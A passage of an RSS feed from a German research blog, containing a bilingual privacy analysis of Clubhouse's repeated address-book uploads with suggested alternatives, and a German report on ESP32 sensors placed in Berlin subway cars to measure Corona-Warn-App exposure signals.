&lt;p&gt;After clicking the Invite button, the app uploads all phone numbers in your address book to their servers to find out which of your contacts can be invited and which are already registered with clubhouse.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse-telefonnummern/request.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse-telefonnummern/request.jpg&#34;
         alt=&#34;Address book upload and response from the server&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Address book upload and response from the server&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;No names or further information is transferred, only the phone numbers.
However, clubhouse has access to this data and could decide to upload it as well in a future version without users noticing.&lt;/p&gt;
&lt;p&gt;As a response, the server delivers a list of all phone numbers that can be invited or that are already on Clubhouse.&lt;/p&gt;
&lt;p&gt;The upload happens not only the first time the invite tab is accessed, but is repeated every time you open the tab.
This means that clubhouse could create a complete history of your contacts from the time you registered with the app and theoretically also knows which people you probably met only recently.&lt;/p&gt;
&lt;h2 id=&#34;alternatives&#34;&gt;Alternatives&lt;/h2&gt;
&lt;p&gt;This procedure is highly questionable from a privacy point of view, especially since Clubhouse grants itself extensive usage rights to the uploaded contact data.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; In addition, a hidden social graph can be created that also includes contacts who are not registered with Clubhouse and have never agreed to the terms of use.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Please see &lt;a href=&#34;#update-2-how-to-do-it-better&#34;&gt;Update 2&lt;/a&gt;.
&lt;/div&gt;
&lt;p&gt;There are other ways to find contacts, for example Signal uses &lt;a href=&#34;https://signal.org/blog/private-contact-discovery/&#34;&gt;a complicated contact discovery protocol&lt;/a&gt; to make sure that the servers do not have permanent access to your contact data.&lt;/p&gt;
&lt;p&gt;It would also be possible to perform a comparison using only the hash values of the phone numbers, as suggested by the saarland data protection authority. While this would mean that the plain phone numbers are no longer known to the servers, a social graph could still be created, including for contacts who are not using clubhouse. The Signal article linked above describes why hashing is not always an adequate solution in further detail.&lt;/p&gt;
&lt;h2 id=&#34;update-1-hashing&#34;&gt;Update 1: Hashing&lt;/h2&gt;
&lt;p&gt;Since we already got feedback (thank you Matthias): Hashing is not a sufficient protection.&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;, &lt;/sup&gt;&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; Since there are relatively few possible phone numbers, they can simply be brute forced. We didn&amp;rsquo;t want to leave this option unmentioned, because the Saarland data protection authority suggested this method.&lt;/p&gt;
&lt;h2 id=&#34;update-2-how-to-do-it-better&#34;&gt;Update 2: How to do it better.&lt;/h2&gt;
&lt;p&gt;Privacy preserving contact discovery is hard.
However, Clubhouse does not use the phone numbers for contact discovery.
There is no way to find your contacts in the app via their phone number.
While you can see which of your contacts are already on clubhouse in the invite tab, there is no way to directly access their profile.&lt;/p&gt;
&lt;p&gt;So instead of uploading the address book cloubhouse could:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;show all contacts in the address book without sending them to their server. Only after pressing &amp;ldquo;invite&amp;rdquo;, the server will be asked if an invitation can be sent to this specific phone number.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;switch to another invite system. Like many other apps, Clubhouse could generate invite tokens or invite links that you have to provide when signing up.
After inviting someone, you are already prompted to send them a message.
This message could contain a short invite code that they can then use to register a new account.
This way no access to the phone book would be needed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;not use phone numbers.
They are only used for loging into Clubhouse, but nowhere in the app.
Instead, only user names and passwords could be used.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.heise.de/news/Verbraucherschutzverband-mahnt-Clubhouse-wegen-gravierender-Maengel-ab-5038676.html&#34;&gt;https://www.heise.de/news/Verbraucherschutzverband-mahnt-Clubhouse-wegen-gravierender-Maengel-ab-5038676.html&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://dl.gi.de/handle/20.500.12116/16294&#34;&gt;https://dl.gi.de/handle/20.500.12116/16294&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.heise.de/downloads/18/2/9/7/0/4/5/9/preprint.pdf&#34;&gt;https://www.heise.de/downloads/18/2/9/7/0/4/5/9/preprint.pdf&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Clubhouse mag dein Telefonbuch wirklich gern</title>
      <link>https://zerforschung.org/posts/clubhouse-telefonnummern-de/</link>
      <pubDate>Mon, 01 Feb 2021 13:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/clubhouse-telefonnummern-de/</guid>
      <description>&lt;p&gt;This article was also &lt;a href=&#34;https://zerforschung.org/posts/clubhouse-telefonnummern-en/&#34;&gt;published in english&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;tl;dr: Jedes mal, wenn man das Invite-Tab öffnet, werden &lt;strong&gt;alle&lt;/strong&gt; Telefonnummern aus dem Adressbuch hochgeladen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Clubhouse ist aktuell invite-only, was vermutlich einen Teil des aktuellen Hypes ausmacht.
Um eine Person einzuladen muss man Clubhouse Zugriff auf das eigenene Adressbuch geben.
&lt;a href=&#34;https://www.tagesschau.de/wirtschaft/clubhouse-audio-app-deutschland-datenschutz-social-media-101.html&#34;&gt;Dies wurde bereits mehrfach kritisiert.&lt;/a&gt;
Es gab viel Diskussion, wie Clubhouse diese Adressbuch-Daten nutzt.
Wir haben uns angeschaut, wie Clubhouse das Adressbuch verwendet und wie es besser ginge.&lt;/p&gt;
&lt;h2 id=&#34;invites-bei-clubhouse&#34;&gt;Invites bei Clubhouse&lt;/h2&gt;
&lt;p&gt;Nachdem man sich bei Clubhouse registriert hat, fragt Clubhouse direkt nach Zugriff auf das Adressbuch.
Diesen muss man spätestens dann gewähren, wenn man Freund*innen einladen will.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse-telefonnummern/invite_button.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse-telefonnummern/invite_button.jpg&#34;
         alt=&#34;Invite Button in der Clubhouse-App&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Invite Button in der Clubhouse-App&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Nach einem Klick auf den Invite-Button sendet Clubhouse alle Telefonnummern, die im eigenen Adressbuch stehen an ihre Server um herauszufinden, welche der eigenen Kontakte eingeladen werden können und welche bereits bei Clubhouse angemeldet sind.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse-telefonnummern/request.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse-telefonnummern/request.jpg&#34;
         alt=&#34;Adressbuch-Upload und Antwort des Servers&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Adressbuch-Upload und Antwort des Servers&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Hierbei werden keine Namen übertragen, sondern nur die reinen Telefonnummern.
Allerdings hat Clubhouse Zugriff auf diese Daten und könnte diese in Zukunft nutzen ohne, dass Nutzer*innen dies merken könnten.&lt;/p&gt;
&lt;p&gt;Als Antwort liefert der Server eine Liste aller Telefonnummern, die man einladen kann oder die bereits auf Clubhouse angemeldet sind.&lt;/p&gt;
&lt;p&gt;Das ganze passiert aber nicht nur beim ersten Zugriff auf den Invite-Tab, sondern wird bei jedem Aufruf des Tabs wiederholt.
So hat Clubhouse theoretisch ab dem Zeitpunkt der Anmeldung eine komplette History über die Kontakte und weiß theoretisch auch, welche Personen ich wahrscheinlich erst vor kurzem kennen gelernt habe.&lt;/p&gt;
&lt;h2 id=&#34;alternativen&#34;&gt;Alternativen&lt;/h2&gt;
&lt;p&gt;Dieses Vorgehen ist aus Datenschutzgründen höchst bedenklich, insbesondere da Clubhouse sich &lt;a href=&#34;https://www.heise.de/news/Verbraucherschutzverband-mahnt-Clubhouse-wegen-gravierender-Maengel-ab-5038676.html&#34;&gt;weitreichende Nutzungsrechte an den hochgeladenen Kontaktdaten einräumt&lt;/a&gt;. Zudem lässt sich so ein versteckter Social Graph erzeugen, der auch Kontakte umfasst, die gar nicht bei Clubhouse angemeldet sind und auch den Nutzungsbedingungen nie zugestimmt haben.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Bitte &lt;a href=&#34;#update-2-wie-es-besser-geht&#34;&gt;Update 2&lt;/a&gt; beachten.
&lt;/div&gt;
&lt;p&gt;Dabei gäbe es andere Möglichkeiten, zum Beispiel verwendet Signal &lt;a href=&#34;https://signal.org/blog/private-contact-discovery/&#34;&gt;ein kompliziertes Verfahren&lt;/a&gt; um sicher zu stellen, dass die Server keinen dauerhaften Zugriff auf die Kontaktdaten haben.&lt;/p&gt;
&lt;p&gt;Auch wäre es möglich, einen Abgleich nur über Hashwerte der Telefonnummern durchzuführen, wie es auch die saarländische Datenschutzbehörde fordert. Dies vermeidet zwar die Übertragung der Telefonnummern, verhindert aber nicht, dass ein versteckter Social Graph über Nutzer*innen erstellt werden kann. Auch die Problematik, dass dieser Graph auch Menschen einbeziehen kann, die nicht bei Clubhouse angemeldet sind, und die den Nutzungsbedingungen nie zugestimmt haben bleibt beim Hashing bestehen.&lt;/p&gt;
&lt;h2 id=&#34;update-1-hashing&#34;&gt;Update 1: Hashing&lt;/h2&gt;
&lt;p&gt;Da es bereits Feedback gab (danke Matthias): Hashing ist kein ausreichender Schutz.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;, &lt;/sup&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; Da es relativ wenige mögliche Telefonnummern gibt, können diese einfach durchprobiert werden. Da die saarländische Datenschutzbehörde dieses Verfahren ins Spiel brachte wollten wir es nicht unerwähnt lassen.&lt;/p&gt;
&lt;h2 id=&#34;update-2-wie-es-besser-geht&#34;&gt;Update 2: Wie es besser geht.&lt;/h2&gt;
&lt;p&gt;Datensparsame contact discovery ist schwer.
Allerdings braucht Clubhouse das gar nicht, denn es gibt keine Funktion in Clubhouse, um Kontakte anhand ihrer Telefonnumer zu finden.
Auch auf der Invite-Seite wird zwar bei Kontakten aus dem Adressbuch angezeigt, wenn sie bereits auf Clubhouse sind aber es gibt keine Möglichkeit direkt ihr Profil aufzurufen.&lt;/p&gt;
&lt;p&gt;Statt das Adressbuch hochzuladen könnte die App also zum Beispiel:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;nur lokal alle Kontakte anzeigen, ohne diese an den Server zu schicken. Erst nachdem auf &amp;ldquo;Einladen&amp;rdquo; gedrückt wurde, wird beim Server abgefragt, ob an diese spezifische Telefonnummer eine Einladung geschickt werden kann.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;auf ein anderes Invite-System umstellen. So wie viele andere Apps könnte Clubhouse Tokens erzeugen, die man bei der Anmeldung angeben muss oder Invite-Links erzeugen.
Bereits jetzt wird man nach der Einladung aufgefordert, der eingeladenen Person eine Nachricht schicken. In dieser Nachricht könnte ein kurzer Invite-Code enthalten sein, mit dem man sich dann registrieren kann. Dafür wäre dann gar kein Zugriff auf das Adressbuch notwendig.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Komplett auf Telefonnummern verzichten. Telefonnummern werden in Clubhouse nur zum Login verwendet, in der App dann nirgenwo. Stattdessen könnten sogar nur Nutzer*innen-Namen und Passwort verwendet werden.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://dl.gi.de/handle/20.500.12116/16294&#34;&gt;https://dl.gi.de/handle/20.500.12116/16294&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://www.heise.de/downloads/18/2/9/7/0/4/5/9/preprint.pdf&#34;&gt;https://www.heise.de/downloads/18/2/9/7/0/4/5/9/preprint.pdf&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Auf der Suche nach Corona im Berliner Untergrund</title>
      <link>https://zerforschung.org/posts/auf-der-suche-nach-corona-im-berliner-untergrund/</link>
      <pubDate>Wed, 27 Jan 2021 15:00:56 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/auf-der-suche-nach-corona-im-berliner-untergrund/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/titelgrafik.jpg&#34; alt=&#34;Titelbild&#34;&gt;&lt;/p&gt;
&lt;p&gt;In Bussen und Bahnen steckt man sich nicht mit Corona an, behaupten die Verkehrsunternehmen immer wieder&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; und starten Werbekampagnen zum &lt;a href=&#34;https://www.vdv.de/201020-pm-besserweiter-wiedereinsteigerphase-mit-prominenten.pdfx&#34;&gt;&amp;ldquo;wieder einsteigen&amp;rdquo;&lt;/a&gt;. Das erscheint auf den ersten Blick irrational, da ÖPNV-Umgebungen viele Merkmale aufweisen, die laut RKI das Infektionsrisiko erhöhen: viele Menschen, geringe Abstände, geschlossene Räume.&lt;/p&gt;
&lt;p&gt;Die Verbünde begründen ihr Vertrauen in die Sicherheit des ÖPNV damit, dass &lt;a href=&#34;https://www.rki.de/DE/Content/InfAZ/N/Neuartiges_Coronavirus/Situationsberichte/Jan_2021/2021-01-12-de.pdf?__blob=publicationFile&#34;&gt;nur ein Bruchteil der ans RKI gemeldeten Infektionsorte Bus und Bahn betreffen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Allerdings konnten die Gesundheitsämter mehr als 75% der Übertragungsorte gar nicht ermitteln.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Das &lt;a href=&#34;https://twitter.com/rki_de?ref_src=twsrc%5Etfw&#34;&gt;@rki_de&lt;/a&gt;-Diagramm zum &amp;quot;Infektionsumfeld&amp;quot; ist noch immer gefährlich missverständlich.&lt;br&gt;Ich habe das mal repariert: &lt;a href=&#34;https://t.co/cCNwlmHb6S&#34;&gt;https://t.co/cCNwlmHb6S&lt;/a&gt; &lt;a href=&#34;https://t.co/iGHMgNpHDj&#34;&gt;pic.twitter.com/iGHMgNpHDj&lt;/a&gt;&lt;/p&gt;&amp;mdash; Michael Kreil (@MichaelKreil) &lt;a href=&#34;https://twitter.com/MichaelKreil/status/1351122671073951746?ref_src=twsrc%5Etfw&#34;&gt;January 18, 2021&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt; 
&lt;p&gt;Der ÖPNV ist ein idealer &amp;ldquo;versteckter&amp;rdquo; Übertragungsort: Viele Zufallsbegegnungen mit ständig wechselnden, unbekannten Menschen. Es ist damit unmöglich, ein Kontakttagebuch zu führen und diese Kontakte dem Gesundheitsamt mitzuteilen.&lt;/p&gt;
&lt;p&gt;Um die tatsächliche Gefahr einschätzen zu können, überlegten wir uns also, wie wir bessere Daten über Coronafälle im ÖPNV erfassen können.&lt;/p&gt;
&lt;p&gt;Nach kurzer Überlegung, uns selbst in die Bahn zu stellen und die Leute zu fragen, ob sie Corona haben und dabei unsere Gesundheit zu gefährden, hatten wir eine sehr viel bessere Idee…&lt;/p&gt;
&lt;h2 id=&#34;corona-warn-app&#34;&gt;Corona-Warn-App&lt;/h2&gt;
&lt;p&gt;Ein Ansatz, um potentielle Infektionswege unter fremden Menschen zu erfassen, ist das Contact Tracing über die &lt;a href=&#34;https://www.coronawarn.app/&#34;&gt;Corona-Warn-App&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das funktioniert auf zwei Arten:&lt;/p&gt;
&lt;p&gt;Als Sender generiert die App einmal pro Tag eine neue, sehr lange, zufällige Zahl und speichert diese für die nächsten 14 Tage. Aus dieser täglichen Zahl wird nun etwa alle 15 Minuten nach einem &lt;a href=&#34;https://covid19-static.cdn-apple.com/applications/covid19/current/static/contact-tracing/pdf/ExposureNotification-CryptographySpecificationv1.2.pdf?1&#34;&gt;öffentlich bekanntem Algorithmus&lt;/a&gt; eine Ableitung generiert (mit der man nicht auf die Originalzahl zurückschließen kann) und diese in regelmäßigen Abständen ausgesendet.&lt;br&gt;
Wenn Nutzer*innen nun einen positiven Coronatest bekommen und das in der App melden, werden die 14 letzten Tageszahlen hochgeladen und alle anderen können sie sich herunterladen.&lt;/p&gt;
&lt;p&gt;Als Empfänger hört die App die ganze Zeit auf die ausgesendeten Signale der anderen Apps und speichert diese für 14 Tage. Mindestens einmal täglich lädt sie alle verfügbaren Tageszahlen herunter und verwendet den öffentlich bekannten Algorithmus, um daraus die gleichen Ableitungen zu generieren und diese mit den empfangenen Signalen zu vergleichen. Findet sie hier zwei gleiche Zahlenfolgen, fand ein Risikokontakt statt, der dann in der App angezeigt wird.&lt;/p&gt;
&lt;p&gt;Alle Daten, die älter als 14 Tage sind, werden automatisch gelöscht. So kann man sehr datensparsam und anonym Risikobegegnungen erkennen – auch im ÖPNV und an anderen Orten, wo sich viele unbekannte Menschen zufällig begegnen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Wie viele Risikokontakte würde also ein Smartphone mit Corona-Warn-App ermitteln, das dauerhaft in einer Berliner U-Bahn liegen würde?&lt;/p&gt;
&lt;p&gt;Vermutlich nur sehr wenige, weil es bald mitgenommen oder zerstört würde. Spätestens nach 2-3 Tagen wäre auch der Akku leer und wir müssten den U-Bahnwagen im kompletten Liniennetz wiederfinden, um das Smartphone zu bergen und die Daten auswerten zu können.&lt;/p&gt;
&lt;p&gt;Selbst wenn wir all das akzeptieren oder verhindern könnten, hätten wir noch ein Problem: Die Angaben der Corona-Warn-App lassen in ihrem Detailgrad sehr zu wünschen übrig. Beispielsweise wird nur der Tag der letzten Risikobegegnung angezeigt.&lt;/p&gt;
&lt;h2 id=&#34;alles-muss-man-selber-machen&#34;&gt;Alles muss man selber machen…&lt;/h2&gt;
&lt;p&gt;Das Kontaktprotokoll der Corona-Warn-App basiert auf &lt;a href=&#34;https://de.wikipedia.org/wiki/Bluetooth_Low_Energy&#34;&gt;Bluetooth Low Energy (BLE)&lt;/a&gt;. Diese Technik ist nicht nur in Smartphones verbaut, sondern es gibt auch sehr günstige &lt;a href=&#34;https://de.wikipedia.org/wiki/ESP32&#34;&gt;Mikrocontroller mit eingebautem BLE-Modul&lt;/a&gt; – also klein, kostengünstig und stromsparend.&lt;/p&gt;
&lt;p&gt;Vor uns lag nun die Aufgabe, ein eigenes Messgerät zu bauen und die relevanten Funktionen der App nachzuprogrammieren.&lt;/p&gt;
&lt;p&gt;Außerdem brauchten wir noch eine Lösung, an die Daten zu kommen, während die Messgeräte U-Bahn fahren – um bei einem Verlust nicht komplett auf alle Messergebnisse verzichten zu müssen. Für eine regelmäßige Übertragung eignete sich das öffentliche WLAN der U-Bahnhöfe sehr gut.&lt;/p&gt;
&lt;p&gt;Der Prototyp konnte nach etwa einer Woche Entwicklungszeit erfolgreich seine erste Testfahrt absolvieren.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/cov32-artikel/messgeraet.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/messgeraet_preview.jpg&#34;
         alt=&#34;So sehen die Messgeräte aus. Links installationsfertig verpackt, rechts in Einzelteilen.&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;So sehen die Messgeräte aus. Links installationsfertig verpackt, rechts in Einzelteilen.&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Nach vielen Optimierungen konnten wir die Batterielaufzeit unserer Geräte auf durchschnittlich etwa 10 Tage erhöhen – weit mehr als mit einem Smartphone möglich gewesen wäre.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wie genau wir das technisch gelöst haben, werden wir demnächst auch beschreiben. Das ist mindestens genauso spannend wie die Ergebnisse. Also abonniert den &lt;a href=&#34;https://zerforschung.org/index.xml&#34;&gt;RSS-Feed&lt;/a&gt; und folgt auf &lt;a href=&#34;https://twitter.com/zerforschung&#34;&gt;Twitter&lt;/a&gt;
&lt;/div&gt;
&lt;h2 id=&#34;immer-eine-hand-breit-sensor-unterm-sitz&#34;&gt;Immer eine Hand breit Sensor unterm Sitz&lt;/h2&gt;
&lt;p&gt;Bis Ende November hatten wir uns von der Funktionstüchtigkeit und Stabilität der Sensoren überzeugt, die Serverkomponente programmiert und ein effizientes Übertragungsprotokoll entwickelt, um aus aus den Tiefen des U-Bahn-Netzes kommunizieren zu können.&lt;/p&gt;
&lt;p&gt;Jedes Messgerät wurde mit einer Mailadresse beklebt, damit ehrliche Finder*innen uns kontaktieren können&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; und in mehreren nächtlichen Fahrten&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; verteilten wir die Geräte. Dabei versuchten wir möglichst alle Linien gleichmäßig abzudecken.&lt;/p&gt;
&lt;p&gt;Das hat nicht ideal geklappt, da die U-Bahnen gelegentlich die Linien wechseln, aber wir haben dabei eine Menge über das Berliner U-Bahnnetz gelernt, was auch noch mal einen eigenen Artikel wert wäre. Wusstet ihr zum Beispiel, dass nicht nur die Haltestellen, sondern auch die BVG-Betriebshöfe öffentlich nutzbares WLAN haben?&lt;/p&gt;
&lt;p&gt;So fuhren 23 der kleinen Messgeräte von Ende November bis Anfang Januar durch den Berliner Untergrund, empfingen einmal pro Minute Corona-Warn-App Daten und sendeten die Messwerte regelmäßig an unseren Server.&lt;/p&gt;
&lt;p&gt;Mit Gesamtkosten von etwa 400€ für Mikrocontroller (mehr Mikrocontroller als letztendlich verbaut), Werkzeuge und Verbrauchsmaterial sind wir trotzdem deutlich günstiger, als wenn wir die Messung mit Smartphones durchgeführt hätten. &lt;strong&gt;Die reinen Hardwarekosten pro Sensor liegen bei unter 8€.&lt;/strong&gt; Kosten, bei denen Forschungseinrichtungen, Recherchenetzwerke oder Verkehrsunternehmen eine deutlich größere und damit repräsentativere Installation ermöglichen könnten.&lt;/p&gt;
&lt;p&gt;Ein weiterer Vorteil der Eigenentwicklung ist, dass wir die rohen Daten sehen und sie so besser auswerten können.&lt;/p&gt;
&lt;p&gt;Gegenüber einer rein Corona-Warn-App-basierten Lösung erfassen wir folgende zusätzliche Informationen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;exakter Zeitpunkt einer Messung&lt;/li&gt;
&lt;li&gt;Dauer des Risikokontaktes&lt;/li&gt;
&lt;li&gt;alle Signale der Corona-Warn-App, um zum Beispiel den Anteil der positiv gemeldeten in die Auswertung einbeziehen zu können&lt;/li&gt;
&lt;li&gt;kein Zwangsfiltern von kurzen Begegnungen oder schwachem Signal&lt;/li&gt;
&lt;li&gt;grobe Position der Messung (durch BVG WiFis)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Der Datenschutz ist weiterhin gewährleistet, da die übertragenen Daten ohnehin keine personenbezogenen Informationen enthalten.&lt;/p&gt;
&lt;h2 id=&#34;aussagekraft-der-daten&#34;&gt;Aussagekraft der Daten&lt;/h2&gt;
&lt;p&gt;Nachfolgend ein paar Einschränkungen zur Aussagekraft, die wir euch nicht verschweigen möchten:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Die Wagen mit den Messgeräten waren nicht immer gleichzeitig auf allen Linien unterwegs oder standen zwischenzeitlich für mehrere Tage in Depots.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Die Geräte waren innerhalb der Wagen aufgrund unterschiedlicher Fahrzeugtypen an unterschiedlichen Stellen verbaut. Das könnte die Abschirmung der Bluetooth-Signale beeinflusst haben. Eine Vergleichbarkeit zwischen Sensoren in unterschiedlichen Fahrzeugtypen wird damit erschwert.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Außerdem lagen viele Feiertage in unserem Erfassungszeitraum von Ende November bis Anfang Januar und die Corona-Regelungen wurden mehrfach geändert.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Genauso hat sich die Eröffnung der U5-Verlängerung in den Messergebnissen bemerkbar gemacht.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Zusätzlich ist von einer Ungleichverteilung der Corona-Warn-App in den verschiedenen gesellschaftlichen Schichten und Risikogruppen auszugehen. Eventuell ist die Verbreitung der App in Berlin höher als im bundesweiten Durchschnitt, was man bei den späteren Rechenbeispielen im Hinterkopf behalten sollte.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Zu beachten ist außerdem, dass die Sensoren in unseren Tests nur eine Sichtweite von etwa einer Wagenlänge hatten.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nicht zuletzt das führt zu der größten Einschränkung, dass 23 Messgeräte zu wenig sind, um wirklich aussagekräftige Erkenntnisse für 9 U-Bahn-Linien mit vielen hundert Zügen zu gewinnen. Für mehr hatten wir allerdings weder zeitliche noch finanzielle Kapazitäten.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Deshalb finden wir: Wenn Verkehrsunternehmen mit der Sicherheit im ÖPNV werben, dann sollte sich diese Aussage auf Fakten stützen, z.B. durch eigene Messungen – auch wenn die Anzahl der positiven Fälle allein noch nicht viel über Übertragungswahrscheinlichkeiten aussagt.&lt;/p&gt;
&lt;p&gt;Zusätzlich könnten die Verkehrsunternehmen in ihren Zügen Luftqualitätswerte messen, beispielsweise CO&lt;sub&gt;2&lt;/sub&gt;. &lt;a href=&#34;https://www.swrfernsehen.de/marktcheck/co2-messgeraet-ampel-luftqualitaet-innenraeume-corona-100.html&#34;&gt;Da ein hoher CO&lt;sub&gt;2&lt;/sub&gt;-Gehalt auf schlechte Belüftung hinweist, können damit genauere Aussagen über das Übertragungsrisiko getroffen werden.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Die Verkehrsunternehmen hätten sogar noch mehr Vorteile: Mit der von uns genutzten Hardware könnte man &lt;a href=&#34;https://github.com/cyberman54/ESP32-Paxcounter&#34;&gt;Fahrzeugauslastungen in Echtzeit schätzen&lt;/a&gt;, was auch über die Pandemiebekämpfung hinaus sinnvoll sein könnte.&lt;/p&gt;
